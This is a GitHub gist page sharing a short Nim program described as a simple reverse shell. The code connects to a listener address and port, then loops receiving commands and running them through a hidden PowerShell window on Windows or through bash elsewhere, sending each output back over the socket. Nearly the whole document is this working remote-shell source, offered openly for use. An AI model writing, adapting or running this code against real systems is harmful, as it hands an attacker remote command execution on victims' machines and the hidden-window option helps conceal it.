Skip to content

Instantly share code, notes, and snippets.

@goproslowyo
Forked from mttaggart/nimrs.nim
Last active November 4, 2021 00:44
Show Gist options
  • Save goproslowyo/ed5ffcf04a70190802990f4d9bf07269 to your computer and use it in GitHub Desktop.
Save goproslowyo/ed5ffcf04a70190802990f4d9bf07269 to your computer and use it in GitHub Desktop.
A simple reverse shell written in Nim
import net
import osproc
import strformat
# Create Socket
let port = 9999
let address = "127.0.0.1"
let sock = newSocket()
# Connect to listener
sock.connect(address, Port(port))
when defined windows:
#Create Prompt
let prompt = "PS> "
while true:
# Send prompt
send(sock, prompt)
# Receive Data
# Run command
let cmd = recvLine(sock)
let output =
execProcess(fmt"powershell.exe -nop -w hidden -c {cmd}")
send(sock, output)
else:
#Create Prompt
let prompt = "$ "
while true:
# Send prompt
send(sock, prompt)
# Receive Data
# Run command
let cmd = recvLine(sock)
let output =
execProcess(fmt"/bin/bash -c '{cmd}'")
send(sock, output)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment